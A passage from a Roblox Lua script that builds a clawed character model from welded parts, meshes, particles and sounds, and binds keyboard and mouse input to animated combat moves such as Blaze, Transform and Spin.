  2592. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2593. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2594. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2595. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2596. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2597. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2598. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2599. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2600. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2601. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2602. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2603. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2604. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2605. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2606. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2607. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2608. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2609. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2610. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2611. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2612. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2613. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2614. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2615. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2616. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2617. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2618. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2619. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2620. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2621. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2622. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2623. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2624. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2625. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2626. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2627.  
  2628. local modelzorz3=Instance.new("Model")
  2629. modelzorz3.Parent=Character
  2630. modelzorz3.Name="Eye"
  2631.  
  2632. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2633. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2634. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2635. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2636. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2637. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2638. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2639. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2640. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2641. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2642. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2643. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2644. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2645. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2646. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2647. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2648. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2649. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2650. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2651. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2652. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2653. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2654. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2655. local moosick = it("Sound",Character)
  2656. moosick.SoundId = "rbxassetid://613035749"
  2657.  --142653441, 175067863
  2658. moosick.Looped = true
  2659. moosick.Pitch = 0.9775
  2660. moosick.Volume = 1.5
  2661. moosick:Play()
  2662.  
  2663. anim = Character:findFirstChild("Animate")
  2664. if anim then
  2665. anim:Destroy()
  2666. end
  2667.  
  2668. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2669. particleemitter.VelocitySpread = 180
  2670. particleemitter.Lifetime = NumberRange.new(0.1)
  2671. particleemitter.Speed = NumberRange.new(2)
  2672. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2673. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2674. particleemitter.Rate = 100
  2675. particleemitter.Rotation = NumberRange.new(-45, 45)
  2676. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2677. particleemitter.LightEmission = 0.8
  2678. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2679.  
  2680. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2681. particleemitter.VelocitySpread = 180
  2682. particleemitter.Lifetime = NumberRange.new(0.1)
  2683. particleemitter.Speed = NumberRange.new(2)
  2684. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2685. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2686. particleemitter.Rate = 100
  2687. particleemitter.Rotation = NumberRange.new(-45, 45)
  2688. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2689. particleemitter.LightEmission = 0.8
  2690. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2691.  
  2692. local particleemitter = Instance.new("ParticleEmitter", handle)
  2693. particleemitter.VelocitySpread = 180
  2694. particleemitter.Lifetime = NumberRange.new(0.1)
  2695. particleemitter.Speed = NumberRange.new(2)
  2696. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2697. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2698. particleemitter.Rate = 100
  2699. particleemitter.Rotation = NumberRange.new(-45, 45)
  2700. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2701. particleemitter.LightEmission = 0.8
  2702. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2703.  
  2704. local light = Instance.new("PointLight", Character.Torso)
  2705. light.Color = Color3.new(255,255,255)
  2706. light.Brightness = 5
  2707. light.Range = 15
  2708.  
  2709. particleemitter.Enabled = true
  2710.  
  2711. local Footsteps = it("Sound",Character.Torso)
  2712. Footsteps.SoundId = "rbxassetid://142665235"
  2713. Footsteps.Looped = true
  2714. Footsteps.Pitch = 0.8
  2715. Footsteps.Volume = 0.3
  2716.  
  2717. local Footsteps2 = it("Sound",Character.Torso)
  2718. Footsteps2.SoundId = "rbxassetid://142665235"
  2719. Footsteps2.Looped = true
  2720. Footsteps2.Pitch = 1
  2721. Footsteps2.Volume = 0.4
  2722.  
  2723. local cam = game.Workspace.CurrentCamera
  2724.  
  2725. --cam.CameraSubject = Character
  2726.  
  2727. for i,v in pairs(Head:children()) do
  2728.     if v:IsA("Sound") then
  2729.         v:Destroy()
  2730.     end
  2731. end
  2732.  
  2733. mouse.Button1Down:connect(function()
  2734.         if attack==false and attacktype==1 then
  2735.                 attacktype=2
  2736.                 attackone()
  2737.         elseif attack==false and attacktype==2 then
  2738.                 attacktype=3
  2739.                 attacktwo()
  2740.         elseif attack==false and attacktype==3 then
  2741.                 attacktype=4
  2742.                 attackthree()
  2743.         elseif attack==false and attacktype==4 then
  2744.                 attacktype=1
  2745.                 attackfour()
  2746.         end
  2747. end)
  2748.  
  2749. mouse.KeyDown:connect(function(k)
  2750.     k=k:lower()
  2751.     if k=='e' then
  2752.         if attack==false and mana>=20 then
  2753.             Push()
  2754.         end
  2755.         elseif k=='g' then
  2756.         if attack==false and mana>=50 then
  2757.             Twirl()
  2758.         end
  2759.         elseif k=='v' then
  2760.         if attack==false and mana>=25 then
  2761.             MagicJump()
  2762.         end
  2763.         elseif k=='c' then
  2764.     if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2765.     attack=true
  2766.         for i = 1, 40 do
  2767.           swait()
  2768.           Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2769.           RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2770.           RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2771.           RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2772.           LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2773.           LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2774.           RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2775.           LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2776.         end
  2777.             Blaze()
  2778. attack = false
  2779. end
  2780.         elseif k=='x' then
  2781.     if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2782.     attack=true
  2783.         for i = 1, 15 do
  2784.           swait()
  2785.           Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2786.           RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2787.           RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2788.           RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2789.           LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2790.           LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2791.           RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2792.           LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2793.         end
  2794. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2795. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2796. for i = 0, 30 do
  2797.     BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2798. wait(0.1)
  2799. end
  2800. local parteffected = Instance.new("Part",tors)
  2801. parteffected.Transparency = 1
  2802. parteffected.Position = tors.Position
  2803. parteffected.CanCollide = false
  2804. parteffected.Anchored = true
  2805. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2806. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2807. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2808. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2809. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2810. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2811.         local sbs = Instance.new("BodyPosition", RootPart)
  2812.         sbs.P = 3000
  2813.         sbs.D = 1000
  2814.         sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2815.         sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2816.         for i = 1, 40 do
  2817.           swait()
  2818.           Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2819.           RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2820.           RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2821.           RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2822.           LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2823.           LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2824.           RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2825.           LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2826.         end
  2827. wait(3)
  2828.             Blaze2()
  2829. attack = false
  2830. parteffected:Destroy()
  2831. sbs:Destroy()
  2832. end
  2833.         elseif k=='q' then
  2834.         if attack==false then
  2835.         idle=1000
  2836.         end
  2837.         elseif k=='h' then
  2838.         if attack==false then
  2839.         mana=100
  2840.         end
  2841.         elseif k=='y' then
  2842.         if attack==false and mana>=100 then
  2843.             Shred()
  2844.         end
  2845.         elseif k=='f' then
  2846.         if attack==false and mana>=40 then
  2847.             Spin()
  2848.         end
  2849.         elseif k=='r' then
  2850.         if attack==false and mana>=20 then
  2851.             Clap()
  2852.         end
  2853.         elseif k=='t' then
  2854.         if attack==false then
  2855.             Hai()
  2856.         end
  2857.         elseif k=='0' then
  2858.         if attack==false then
  2859.             Humanoid.WalkSpeed=(24)
  2860.         end
  2861.         elseif k=='j' then
  2862.         if attack==false then
  2863.             Humanoid.Health = 10
  2864.             print("Congrats, you commited suicide.")
  2865.         end
  2866.     end
  2867. end)
  2868.  
  2869. mouse.KeyDown:connect(function(k)
  2870. if k == "z" and Ultramode == false then
  2871. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2872.                 attack = true
  2873.         for i = 1, 15 do
  2874.           swait()
  2875.           Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2876.           RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2877.           RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2878.           RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2879.           LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2880.           LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2881.           RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2882.           LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2883.         end
  2884. m:Destroy()
  2885. local m = Instance.new("Model", Character)
  2886. m.Name = "WeaponModel"
  2887. local parta = Instance.new("Part",Character)
  2888.   parta.Size = vt(10,10,10)
  2889.   parta.BrickColor = BrickColor.new("Really black")
  2890.   parta.Material = "Neon"
  2891.   parta.Shape = "Ball"
  2892.   parta.Transparency = 0
  2893.   parta.Anchored = true
  2894.   parta.CanCollide = false
  2895.   parta.CFrame = tors.CFrame
  2896.                 Transform()
  2897. parta:Destroy()
  2898.  
  2899. local modelzorzz=Instance.new("Model")
  2900. modelzorzz.Parent=Character
  2901. modelzorzz.Name="Claw1"
  2902.  
  2903. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2904. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2905. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2906. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2907. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2908. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2909. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2910. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2911. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2912. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2913. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2914. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2915. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2916. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2917. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2918. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2919. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2920. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2921. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2922. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
